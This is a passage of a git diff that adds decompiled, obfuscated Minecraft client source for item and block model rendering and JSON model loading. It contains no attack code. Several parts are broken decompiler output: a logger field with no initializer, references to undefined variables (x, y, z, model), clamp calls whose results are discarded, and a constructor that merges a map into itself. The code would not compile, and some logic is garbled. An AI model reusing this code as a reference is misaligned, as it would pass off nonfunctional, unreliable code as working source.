+  public final ItemTransformVec3f field_178354_e;
+  private static final String __OBFID = "CL_00002482";
+  
+  public ItemCameraTransforms(ItemTransformVec3f p_i46213_1_, ItemTransformVec3f p_i46213_2_, ItemTransformVec3f p_i46213_3_, ItemTransformVec3f p_i46213_4_)
+  {
+    field_178355_b = p_i46213_1_;
+    field_178356_c = p_i46213_2_;
+    field_178353_d = p_i46213_3_;
+    field_178354_e = p_i46213_4_;
+  }
+  
+  static class Deserializer implements JsonDeserializer {
+    private static final String __OBFID = "CL_00002481";
+    
+    Deserializer() {}
+    
+    public ItemCameraTransforms func_178352_a(JsonElement p_178352_1_, Type p_178352_2_, JsonDeserializationContext p_178352_3_) {
+      JsonObject var4 = p_178352_1_.getAsJsonObject();
+      ItemTransformVec3f var5 = ItemTransformVec3f.field_178366_a;
+      ItemTransformVec3f var6 = ItemTransformVec3f.field_178366_a;
+      ItemTransformVec3f var7 = ItemTransformVec3f.field_178366_a;
+      ItemTransformVec3f var8 = ItemTransformVec3f.field_178366_a;
+      
+      if (var4.has("thirdperson"))
+      {
+        var5 = (ItemTransformVec3f)p_178352_3_.deserialize(var4.get("thirdperson"), ItemTransformVec3f.class);
+      }
+      
+      if (var4.has("firstperson"))
+      {
+        var6 = (ItemTransformVec3f)p_178352_3_.deserialize(var4.get("firstperson"), ItemTransformVec3f.class);
+      }
+      
+      if (var4.has("head"))
+      {
+        var7 = (ItemTransformVec3f)p_178352_3_.deserialize(var4.get("head"), ItemTransformVec3f.class);
+      }
+      
+      if (var4.has("gui"))
+      {
+        var8 = (ItemTransformVec3f)p_178352_3_.deserialize(var4.get("gui"), ItemTransformVec3f.class);
+      }
+      
+      return new ItemCameraTransforms(var5, var6, var7, var8);
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178352_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+  
+  public static enum TransformType
+  {
+    NONE("NONE", 0), 
+    THIRD_PERSON("THIRD_PERSON", 1), 
+    FIRST_PERSON("FIRST_PERSON", 2), 
+    HEAD("HEAD", 3), 
+    GUI("GUI", 4);
+    
+    private static final TransformType[] $VALUES = { NONE, THIRD_PERSON, FIRST_PERSON, HEAD, GUI };
+    private static final String __OBFID = "CL_00002480";
+    
+    private TransformType(String p_i46212_1_, int p_i46212_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/ItemModelGenerator.java b/src/minecraft/net/minecraft/client/renderer/block/model/ItemModelGenerator.java
new file mode 100644
index 0000000..9a75e92
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/ItemModelGenerator.java
@@ -0,0 +1,382 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import javax.vecmath.Vector3f;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.ResourceLocation;
+
+public class ItemModelGenerator
+{
+  public static final List LAYERS = Lists.newArrayList(new String[] { "layer0", "layer1", "layer2", "layer3", "layer4" });
+  private static final String __OBFID = "CL_00002488";
+  
+  public ItemModelGenerator() {}
+  
+  public ModelBlock func_178392_a(TextureMap p_178392_1_, ModelBlock p_178392_2_) { HashMap var3 = Maps.newHashMap();
+    ArrayList var4 = Lists.newArrayList();
+    
+    for (int var5 = 0; var5 < LAYERS.size(); var5++)
+    {
+      String var6 = (String)LAYERS.get(var5);
+      
+      if (!p_178392_2_.isTexturePresent(var6)) {
+        break;
+      }
+      
+
+      String var7 = p_178392_2_.resolveTextureName(var6);
+      var3.put(var6, var7);
+      TextureAtlasSprite var8 = p_178392_1_.getAtlasSprite(new ResourceLocation(var7).toString());
+      var4.addAll(func_178394_a(var5, var6, var8));
+    }
+    
+    if (var4.isEmpty())
+    {
+      return null;
+    }
+    
+
+    var3.put("particle", p_178392_2_.isTexturePresent("particle") ? p_178392_2_.resolveTextureName("particle") : (String)var3.get("layer0"));
+    return new ModelBlock(var4, var3, false, false, new ItemCameraTransforms(p_178392_2_.getThirdPersonTransform(), p_178392_2_.getFirstPersonTransform(), p_178392_2_.getHeadTransform(), p_178392_2_.getInGuiTransform()));
+  }
+  
+
+  private List func_178394_a(int p_178394_1_, String p_178394_2_, TextureAtlasSprite p_178394_3_)
+  {
+    HashMap var4 = Maps.newHashMap();
+    var4.put(EnumFacing.SOUTH, new BlockPartFace(null, p_178394_1_, p_178394_2_, new BlockFaceUV(new float[] { 0.0F, 0.0F, 16.0F, 16.0F }, 0)));
+    var4.put(EnumFacing.NORTH, new BlockPartFace(null, p_178394_1_, p_178394_2_, new BlockFaceUV(new float[] { 16.0F, 0.0F, 0.0F, 16.0F }, 0)));
+    ArrayList var5 = Lists.newArrayList();
+    var5.add(new BlockPart(new Vector3f(0.0F, 0.0F, 7.5F), new Vector3f(16.0F, 16.0F, 8.5F), var4, null, true));
+    var5.addAll(func_178397_a(p_178394_3_, p_178394_2_, p_178394_1_));
+    return var5;
+  }
+  
+  private List func_178397_a(TextureAtlasSprite p_178397_1_, String p_178397_2_, int p_178397_3_)
+  {
+    float var4 = p_178397_1_.getIconWidth();
+    float var5 = p_178397_1_.getIconHeight();
+    ArrayList var6 = Lists.newArrayList();
+    Iterator var7 = func_178393_a(p_178397_1_).iterator();
+    
+    while (var7.hasNext())
+    {
+      Span var8 = (Span)var7.next();
+      float var9 = 0.0F;
+      float var10 = 0.0F;
+      float var11 = 0.0F;
+      float var12 = 0.0F;
+      float var13 = 0.0F;
+      float var14 = 0.0F;
+      float var15 = 0.0F;
+      float var16 = 0.0F;
+      float var17 = 0.0F;
+      float var18 = 0.0F;
+      float var19 = var8.func_178385_b();
+      float var20 = var8.func_178384_c();
+      float var21 = var8.func_178381_d();
+      SpanFacing var22 = var8.func_178383_a();
+      
+      switch (SwitchSpanFacing.field_178390_a[var22.ordinal()])
+      {
+      case 1: 
+        var13 = var19;
+        var9 = var19;
+        var11 = var14 = var20 + 1.0F;
+        var15 = var21;
+        var10 = var21;
+        var16 = var21;
+        var12 = var21;
+        var17 = 16.0F / var4;
+        var18 = 16.0F / (var5 - 1.0F);
+        break;
+      
+      case 2: 
+        var16 = var21;
+        var15 = var21;
+        var13 = var19;
+        var9 = var19;
+        var11 = var14 = var20 + 1.0F;
+        var10 = var21 + 1.0F;
+        var12 = var21 + 1.0F;
+        var17 = 16.0F / var4;
+        var18 = 16.0F / (var5 - 1.0F);
+        break;
+      
+      case 3: 
+        var13 = var21;
+        var9 = var21;
+        var14 = var21;
+        var11 = var21;
+        var16 = var19;
+        var10 = var19;
+        var12 = var15 = var20 + 1.0F;
+        var17 = 16.0F / (var4 - 1.0F);
+        var18 = 16.0F / var5;
+        break;
+      
+      case 4: 
+        var14 = var21;
+        var13 = var21;
+        var9 = var21 + 1.0F;
+        var11 = var21 + 1.0F;
+        var16 = var19;
+        var10 = var19;
+        var12 = var15 = var20 + 1.0F;
+        var17 = 16.0F / (var4 - 1.0F);
+        var18 = 16.0F / var5;
+      }
+      
+      float var23 = 16.0F / var4;
+      float var24 = 16.0F / var5;
+      var9 *= var23;
+      var11 *= var23;
+      var10 *= var24;
+      var12 *= var24;
+      var10 = 16.0F - var10;
+      var12 = 16.0F - var12;
+      var13 *= var17;
+      var14 *= var17;
+      var15 *= var18;
+      var16 *= var18;
+      HashMap var25 = Maps.newHashMap();
+      var25.put(var22.func_178367_a(), new BlockPartFace(null, p_178397_3_, p_178397_2_, new BlockFaceUV(new float[] { var13, var15, var14, var16 }, 0)));
+      
+      switch (SwitchSpanFacing.field_178390_a[var22.ordinal()])
+      {
+      case 1: 
+        var6.add(new BlockPart(new Vector3f(var9, var10, 7.5F), new Vector3f(var11, var10, 8.5F), var25, null, true));
+        break;
+      
+      case 2: 
+        var6.add(new BlockPart(new Vector3f(var9, var12, 7.5F), new Vector3f(var11, var12, 8.5F), var25, null, true));
+        break;
+      
+      case 3: 
+        var6.add(new BlockPart(new Vector3f(var9, var10, 7.5F), new Vector3f(var9, var12, 8.5F), var25, null, true));
+        break;
+      
+      case 4: 
+        var6.add(new BlockPart(new Vector3f(var11, var10, 7.5F), new Vector3f(var11, var12, 8.5F), var25, null, true));
+      }
+      
+    }
+    return var6;
+  }
+  
+  private List func_178393_a(TextureAtlasSprite p_178393_1_)
+  {
+    int var2 = p_178393_1_.getIconWidth();
+    int var3 = p_178393_1_.getIconHeight();
+    ArrayList var4 = Lists.newArrayList();
+    
+    for (int var5 = 0; var5 < p_178393_1_.getFrameCount(); var5++)
+    {
+      int[] var6 = p_178393_1_.getFrameTextureData(var5)[0];
+      
+      for (int var7 = 0; var7 < var3; var7++)
+      {
+        for (int var8 = 0; var8 < var2; var8++)
+        {
+          boolean var9 = !func_178391_a(var6, var8, var7, var2, var3);
+          func_178396_a(SpanFacing.UP, var4, var6, var8, var7, var2, var3, var9);
+          func_178396_a(SpanFacing.DOWN, var4, var6, var8, var7, var2, var3, var9);
+          func_178396_a(SpanFacing.LEFT, var4, var6, var8, var7, var2, var3, var9);
+          func_178396_a(SpanFacing.RIGHT, var4, var6, var8, var7, var2, var3, var9);
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  private void func_178396_a(SpanFacing p_178396_1_, List p_178396_2_, int[] p_178396_3_, int p_178396_4_, int p_178396_5_, int p_178396_6_, int p_178396_7_, boolean p_178396_8_)
+  {
+    boolean var9 = (func_178391_a(p_178396_3_, p_178396_4_ + p_178396_1_.func_178372_b(), p_178396_5_ + p_178396_1_.func_178371_c(), p_178396_6_, p_178396_7_)) && (p_178396_8_);
+    
+    if (var9)
+    {
+      func_178395_a(p_178396_2_, p_178396_1_, p_178396_4_, p_178396_5_);
+    }
+  }
+  
+  private void func_178395_a(List p_178395_1_, SpanFacing p_178395_2_, int p_178395_3_, int p_178395_4_)
+  {
+    Span var5 = null;
+    Iterator var6 = p_178395_1_.iterator();
+    
+    while (var6.hasNext())
+    {
+      Span var7 = (Span)var6.next();
+      
+      if (var7.func_178383_a() == p_178395_2_)
+      {
+        int var8 = p_178395_2_.func_178369_d() ? p_178395_4_ : p_178395_3_;
+        
+        if (var7.func_178381_d() == var8)
+        {
+          var5 = var7;
+          break;
+        }
+      }
+    }
+    
+    int var9 = p_178395_2_.func_178369_d() ? p_178395_4_ : p_178395_3_;
+    int var10 = p_178395_2_.func_178369_d() ? p_178395_3_ : p_178395_4_;
+    
+    if (var5 == null)
+    {
+      p_178395_1_.add(new Span(p_178395_2_, var10, var9));
+    }
+    else
+    {
+      var5.func_178382_a(var10);
+    }
+  }
+  
+  private boolean func_178391_a(int[] p_178391_1_, int p_178391_2_, int p_178391_3_, int p_178391_4_, int p_178391_5_)
+  {
+    return (p_178391_1_[(p_178391_3_ * p_178391_4_ + p_178391_2_)] >> 24 & 0xFF) == 0;
+  }
+  
+  static class Span
+  {
+    private final ItemModelGenerator.SpanFacing field_178389_a;
+    private int field_178387_b;
+    private int field_178388_c;
+    private final int field_178386_d;
+    private static final String __OBFID = "CL_00002486";
+    
+    public Span(ItemModelGenerator.SpanFacing p_i46216_1_, int p_i46216_2_, int p_i46216_3_)
+    {
+      field_178389_a = p_i46216_1_;
+      field_178387_b = p_i46216_2_;
+      field_178388_c = p_i46216_2_;
+      field_178386_d = p_i46216_3_;
+    }
+    
+    public void func_178382_a(int p_178382_1_)
+    {
+      if (p_178382_1_ < field_178387_b)
+      {
+        field_178387_b = p_178382_1_;
+      }
+      else if (p_178382_1_ > field_178388_c)
+      {
+        field_178388_c = p_178382_1_;
+      }
+    }
+    
+    public ItemModelGenerator.SpanFacing func_178383_a()
+    {
+      return field_178389_a;
+    }
+    
+    public int func_178385_b()
+    {
+      return field_178387_b;
+    }
+    
+    public int func_178384_c()
+    {
+      return field_178388_c;
+    }
+    
+    public int func_178381_d()
+    {
+      return field_178386_d;
+    }
+  }
+  
+  static enum SpanFacing
+  {
+    UP("UP", 0, EnumFacing.UP, 0, -1), 
+    DOWN("DOWN", 1, EnumFacing.DOWN, 0, 1), 
+    LEFT("LEFT", 2, EnumFacing.EAST, -1, 0), 
+    RIGHT("RIGHT", 3, EnumFacing.WEST, 1, 0);
+    
+    private final EnumFacing field_178376_e;
+    private final int field_178373_f;
+    private final int field_178374_g;
+    private static final SpanFacing[] $VALUES = { UP, DOWN, LEFT, RIGHT };
+    private static final String __OBFID = "CL_00002485";
+    
+    private SpanFacing(String p_i46215_1_, int p_i46215_2_, EnumFacing p_i46215_3_, int p_i46215_4_, int p_i46215_5_)
+    {
+      field_178376_e = p_i46215_3_;
+      field_178373_f = p_i46215_4_;
+      field_178374_g = p_i46215_5_;
+    }
+    
+    public EnumFacing func_178367_a()
+    {
+      return field_178376_e;
+    }
+    
+    public int func_178372_b()
+    {
+      return field_178373_f;
+    }
+    
+    public int func_178371_c()
+    {
+      return field_178374_g;
+    }
+    
+    private boolean func_178369_d()
+    {
+      return (this == DOWN) || (this == UP);
+    }
+  }
+  
+  static final class SwitchSpanFacing
+  {
+    static final int[] field_178390_a = new int[ItemModelGenerator.SpanFacing.values().length];
+    private static final String __OBFID = "CL_00002487";
+    
+    static
+    {
+      try
+      {
+        field_178390_a[ItemModelGenerator.SpanFacing.UP.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178390_a[ItemModelGenerator.SpanFacing.DOWN.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178390_a[ItemModelGenerator.SpanFacing.LEFT.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178390_a[ItemModelGenerator.SpanFacing.RIGHT.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchSpanFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/ItemTransformVec3f.java b/src/minecraft/net/minecraft/client/renderer/block/model/ItemTransformVec3f.java
new file mode 100644
index 0000000..75c325c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/ItemTransformVec3f.java
@@ -0,0 +1,85 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import java.lang.reflect.Type;
+import javax.vecmath.Vector3f;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.MathHelper;
+
+public class ItemTransformVec3f
+{
+  public static final ItemTransformVec3f field_178366_a = new ItemTransformVec3f(new Vector3f(), new Vector3f(), new Vector3f(1.0F, 1.0F, 1.0F));
+  public final Vector3f field_178364_b;
+  public final Vector3f field_178365_c;
+  public final Vector3f field_178363_d;
+  private static final String __OBFID = "CL_00002484";
+  
+  public ItemTransformVec3f(Vector3f p_i46214_1_, Vector3f p_i46214_2_, Vector3f p_i46214_3_)
+  {
+    field_178364_b = new Vector3f(p_i46214_1_);
+    field_178365_c = new Vector3f(p_i46214_2_);
+    field_178363_d = new Vector3f(p_i46214_3_);
+  }
+  
+  static class Deserializer implements JsonDeserializer
+  {
+    private static final Vector3f field_178362_a = new Vector3f(0.0F, 0.0F, 0.0F);
+    private static final Vector3f field_178360_b = new Vector3f(0.0F, 0.0F, 0.0F);
+    private static final Vector3f field_178361_c = new Vector3f(1.0F, 1.0F, 1.0F);
+    private static final String __OBFID = "CL_00002483";
+    
+    Deserializer() {}
+    
+    public ItemTransformVec3f func_178359_a(JsonElement p_178359_1_, Type p_178359_2_, JsonDeserializationContext p_178359_3_) { JsonObject var4 = p_178359_1_.getAsJsonObject();
+      Vector3f var5 = func_178358_a(var4, "rotation", field_178362_a);
+      Vector3f var6 = func_178358_a(var4, "translation", field_178360_b);
+      var6.scale(0.0625F);
+      MathHelper.clamp_double(x, -1.5D, 1.5D);
+      MathHelper.clamp_double(y, -1.5D, 1.5D);
+      MathHelper.clamp_double(z, -1.5D, 1.5D);
+      Vector3f var7 = func_178358_a(var4, "scale", field_178361_c);
+      MathHelper.clamp_double(x, -1.5D, 1.5D);
+      MathHelper.clamp_double(y, -1.5D, 1.5D);
+      MathHelper.clamp_double(z, -1.5D, 1.5D);
+      return new ItemTransformVec3f(var5, var6, var7);
+    }
+    
+    private Vector3f func_178358_a(JsonObject p_178358_1_, String p_178358_2_, Vector3f p_178358_3_)
+    {
+      if (!p_178358_1_.has(p_178358_2_))
+      {
+        return p_178358_3_;
+      }
+      
+
+      JsonArray var4 = JsonUtils.getJsonObjectJsonArrayField(p_178358_1_, p_178358_2_);
+      
+      if (var4.size() != 3)
+      {
+        throw new JsonParseException("Expected 3 " + p_178358_2_ + " values, found: " + var4.size());
+      }
+      
+
+      float[] var5 = new float[3];
+      
+      for (int var6 = 0; var6 < var5.length; var6++)
+      {
+        var5[var6] = JsonUtils.getJsonElementFloatValue(var4.get(var6), p_178358_2_ + "[" + var6 + "]");
+      }
+      
+      return new Vector3f(var5);
+    }
+    
+
+
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178359_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/ModelBlock.java b/src/minecraft/net/minecraft/client/renderer/block/model/ModelBlock.java
new file mode 100644
index 0000000..a877e8f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/ModelBlock.java
@@ -0,0 +1,329 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.common.collect.Maps;
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ModelBlock
+{
+  private static final Logger LOGGER = ;
+  static final Gson SERIALIZER = new GsonBuilder().registerTypeAdapter(ModelBlock.class, new Deserializer()).registerTypeAdapter(BlockPart.class, new BlockPart.Deserializer()).registerTypeAdapter(BlockPartFace.class, new BlockPartFace.Deserializer()).registerTypeAdapter(BlockFaceUV.class, new BlockFaceUV.Deserializer()).registerTypeAdapter(ItemTransformVec3f.class, new ItemTransformVec3f.Deserializer()).registerTypeAdapter(ItemCameraTransforms.class, new ItemCameraTransforms.Deserializer()).create();
+  private final List elements;
+  private final boolean ambientOcclusion;
+  private final boolean field_178322_i;
+  private ItemCameraTransforms itemCameraTransforms;
+  public String field_178317_b;
+  protected final Map textures;
+  protected ModelBlock parent;
+  protected ResourceLocation parentLocation;
+  private static final String __OBFID = "CL_00002503";
+  
+  public static ModelBlock deserialize(Reader p_178307_0_)
+  {
+    return (ModelBlock)SERIALIZER.fromJson(p_178307_0_, ModelBlock.class);
+  }
+  
+  public static ModelBlock deserialize(String p_178294_0_)
+  {
+    return deserialize(new StringReader(p_178294_0_));
+  }
+  
+  protected ModelBlock(List p_i46225_1_, Map p_i46225_2_, boolean p_i46225_3_, boolean p_i46225_4_, ItemCameraTransforms p_i46225_5_)
+  {
+    this(null, p_i46225_1_, p_i46225_2_, p_i46225_3_, p_i46225_4_, p_i46225_5_);
+  }
+  
+  protected ModelBlock(ResourceLocation p_i46226_1_, Map p_i46226_2_, boolean p_i46226_3_, boolean p_i46226_4_, ItemCameraTransforms p_i46226_5_)
+  {
+    this(p_i46226_1_, java.util.Collections.emptyList(), p_i46226_2_, p_i46226_3_, p_i46226_4_, p_i46226_5_);
+  }
+  
+  private ModelBlock(ResourceLocation p_i46227_1_, List p_i46227_2_, Map p_i46227_3_, boolean p_i46227_4_, boolean p_i46227_5_, ItemCameraTransforms p_i46227_6_)
+  {
+    field_178317_b = "";
+    elements = p_i46227_2_;
+    field_178322_i = p_i46227_4_;
+    ambientOcclusion = p_i46227_5_;
+    textures = p_i46227_3_;
+    parentLocation = p_i46227_1_;
+    itemCameraTransforms = p_i46227_6_;
+  }
+  
+  public List getElements()
+  {
+    return hasParent() ? parent.getElements() : elements;
+  }
+  
+  private boolean hasParent()
+  {
+    return parent != null;
+  }
+  
+  public boolean func_178309_b()
+  {
+    return hasParent() ? parent.func_178309_b() : field_178322_i;
+  }
+  
+  public boolean isAmbientOcclusionEnabled()
+  {
+    return ambientOcclusion;
+  }
+  
+  public boolean isResolved()
+  {
+    return (parentLocation == null) || ((parent != null) && (parent.isResolved()));
+  }
+  
+  public void getParentFromMap(Map p_178299_1_)
+  {
+    if (parentLocation != null)
+    {
+      parent = ((ModelBlock)p_178299_1_.get(parentLocation));
+    }
+  }
+  
+  public boolean isTexturePresent(String p_178300_1_)
+  {
+    return !"missingno".equals(resolveTextureName(p_178300_1_));
+  }
+  
+  public String resolveTextureName(String p_178308_1_)
+  {
+    if (!isTextureName(p_178308_1_))
+    {
+      p_178308_1_ = '#' + p_178308_1_;
+    }
+    
+    return resolveTextureName(p_178308_1_, new Bookkeep(null));
+  }
+  
+  private String resolveTextureName(String p_178302_1_, Bookkeep p_178302_2_)
+  {
+    if (isTextureName(p_178302_1_))
+    {
+      if (this == field_178323_b)
+      {
+        LOGGER.warn("Unable to resolve texture due to upward reference: " + p_178302_1_ + " in " + field_178317_b);
+        return "missingno";
+      }
+      
+
+      String var3 = (String)textures.get(p_178302_1_.substring(1));
+      
+      if ((var3 == null) && (hasParent()))
+      {
+        var3 = parent.resolveTextureName(p_178302_1_, p_178302_2_);
+      }
+      
+      field_178323_b = this;
+      
+      if ((var3 != null) && (isTextureName(var3)))
+      {
+        var3 = model.resolveTextureName(var3, p_178302_2_);
+      }
+      
+      return (var3 != null) && (!isTextureName(var3)) ? var3 : "missingno";
+    }
+    
+
+
+    return p_178302_1_;
+  }
+  
+
+  private boolean isTextureName(String p_178304_1_)
+  {
+    return p_178304_1_.charAt(0) == '#';
+  }
+  
+  public ResourceLocation getParentLocation()
+  {
+    return parentLocation;
+  }
+  
+  public ModelBlock getRootModel()
+  {
+    return hasParent() ? parent.getRootModel() : this;
+  }
+  
+  public ItemTransformVec3f getThirdPersonTransform()
+  {
+    return (parent != null) && (itemCameraTransforms.field_178355_b == ItemTransformVec3f.field_178366_a) ? parent.getThirdPersonTransform() : itemCameraTransforms.field_178355_b;
+  }
+  
+  public ItemTransformVec3f getFirstPersonTransform()
+  {
+    return (parent != null) && (itemCameraTransforms.field_178356_c == ItemTransformVec3f.field_178366_a) ? parent.getFirstPersonTransform() : itemCameraTransforms.field_178356_c;
+  }
+  
+  public ItemTransformVec3f getHeadTransform()
+  {
+    return (parent != null) && (itemCameraTransforms.field_178353_d == ItemTransformVec3f.field_178366_a) ? parent.getHeadTransform() : itemCameraTransforms.field_178353_d;
+  }
+  
+  public ItemTransformVec3f getInGuiTransform()
+  {
+    return (parent != null) && (itemCameraTransforms.field_178354_e == ItemTransformVec3f.field_178366_a) ? parent.getInGuiTransform() : itemCameraTransforms.field_178354_e;
+  }
+  
+  public static void func_178312_b(Map p_178312_0_)
+  {
+    Iterator var1 = p_178312_0_.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      ModelBlock var2 = (ModelBlock)var1.next();
+      
+      try
+      {
+        ModelBlock var3 = parent;
+        
+        for (ModelBlock var4 = parent; var3 != var4; var4 = parent.parent)
+        {
+          var3 = parent;
+        }
+        
+        throw new LoopException();
+      }
+      catch (NullPointerException localNullPointerException) {}
+    }
+  }
+  
+
+  final class Bookkeep
+  {
+    public final ModelBlock model;
+    
+    public ModelBlock field_178323_b;
+    
+    private static final String __OBFID = "CL_00002501";
+    
+    private Bookkeep()
+    {
+      model = ModelBlock.this;
+    }
+    
+    Bookkeep(Object p_i46224_2_)
+    {
+      this();
+    }
+  }
+  
+  public static class Deserializer implements JsonDeserializer {
+    private static final String __OBFID = "CL_00002500";
+    
+    public Deserializer() {}
+    
+    public ModelBlock func_178327_a(JsonElement p_178327_1_, Type p_178327_2_, JsonDeserializationContext p_178327_3_) {
+      JsonObject var4 = p_178327_1_.getAsJsonObject();
+      List var5 = getModelElements(p_178327_3_, var4);
+      String var6 = getParent(var4);
+      boolean var7 = org.apache.commons.lang3.StringUtils.isEmpty(var6);
+      boolean var8 = var5.isEmpty();
+      
+      if ((var8) && (var7))
+      {
+        throw new JsonParseException("BlockModel requires either elements or parent, found neither");
+      }
+      if ((!var7) && (!var8))
+      {
+        throw new JsonParseException("BlockModel requires either elements or parent, found both");
+      }
+      
+
+      Map var9 = getTextures(var4);
+      boolean var10 = getAmbientOcclusionEnabled(var4);
+      ItemCameraTransforms var11 = ItemCameraTransforms.field_178357_a;
+      
+      if (var4.has("display"))
+      {
+        JsonObject var12 = JsonUtils.getJsonObject(var4, "display");
+        var11 = (ItemCameraTransforms)p_178327_3_.deserialize(var12, ItemCameraTransforms.class);
+      }
+      
+      return var8 ? new ModelBlock(new ResourceLocation(var6), var9, var10, true, var11) : new ModelBlock(var5, var9, var10, true, var11);
+    }
+    
+
+    private Map getTextures(JsonObject p_178329_1_)
+    {
+      HashMap var2 = Maps.newHashMap();
+      
+      if (p_178329_1_.has("textures"))
+      {
+        JsonObject var3 = p_178329_1_.getAsJsonObject("textures");
+        Iterator var4 = var3.entrySet().iterator();
+        
+        while (var4.hasNext())
+        {
+          Map.Entry var5 = (Map.Entry)var4.next();
+          var2.put(var5.getKey(), ((JsonElement)var5.getValue()).getAsString());
+        }
+      }
+      
+      return var2;
+    }
+    
+    private String getParent(JsonObject p_178326_1_)
+    {
+      return JsonUtils.getJsonObjectStringFieldValueOrDefault(p_178326_1_, "parent", "");
+    }
+    
+    protected boolean getAmbientOcclusionEnabled(JsonObject p_178328_1_)
+    {
+      return JsonUtils.getJsonObjectBooleanFieldValueOrDefault(p_178328_1_, "ambientocclusion", true);
+    }
+    
+    protected List getModelElements(JsonDeserializationContext p_178325_1_, JsonObject p_178325_2_)
+    {
+      ArrayList var3 = com.google.common.collect.Lists.newArrayList();
+      
+      if (p_178325_2_.has("elements"))
+      {
+        Iterator var4 = JsonUtils.getJsonObjectJsonArrayField(p_178325_2_, "elements").iterator();
+        
+        while (var4.hasNext())
+        {
+          JsonElement var5 = (JsonElement)var4.next();
+          var3.add((BlockPart)p_178325_1_.deserialize(var5, BlockPart.class));
+        }
+      }
+      
+      return var3;
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178327_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+  
+  public static class LoopException
+    extends RuntimeException
+  {
+    private static final String __OBFID = "CL_00002499";
+    
+    public LoopException() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/ModelBlockDefinition.java b/src/minecraft/net/minecraft/client/renderer/block/model/ModelBlockDefinition.java
new file mode 100644
index 0000000..3449428
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/ModelBlockDefinition.java
@@ -0,0 +1,315 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import java.io.Reader;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.client.resources.model.ModelRotation;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.ResourceLocation;
+
+public class ModelBlockDefinition
+{
+  static final Gson field_178333_a = new GsonBuilder().registerTypeAdapter(ModelBlockDefinition.class, new Deserializer()).registerTypeAdapter(Variant.class, new ModelBlockDefinition.Variant.Deserializer()).create();
+  private final Map field_178332_b = Maps.newHashMap();
+  private static final String __OBFID = "CL_00002498";
+  
+  public static ModelBlockDefinition func_178331_a(Reader p_178331_0_)
+  {
+    return (ModelBlockDefinition)field_178333_a.fromJson(p_178331_0_, ModelBlockDefinition.class);
+  }
+  
+  public ModelBlockDefinition(Collection p_i46221_1_)
+  {
+    Iterator var2 = p_i46221_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      Variants var3 = (Variants)var2.next();
+      field_178332_b.put(field_178423_a, var3);
+    }
+  }
+  
+  public ModelBlockDefinition(List p_i46222_1_)
+  {
+    Iterator var2 = p_i46222_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      ModelBlockDefinition var3 = (ModelBlockDefinition)var2.next();
+      field_178332_b.putAll(field_178332_b);
+    }
+  }
+  
+  public Variants func_178330_b(String p_178330_1_)
+  {
+    Variants var2 = (Variants)field_178332_b.get(p_178330_1_);
+    
+    if (var2 == null)
+    {
+      throw new MissingVariantException();
+    }
+    
+
+    return var2;
+  }
+  
+
+  public boolean equals(Object p_equals_1_)
+  {
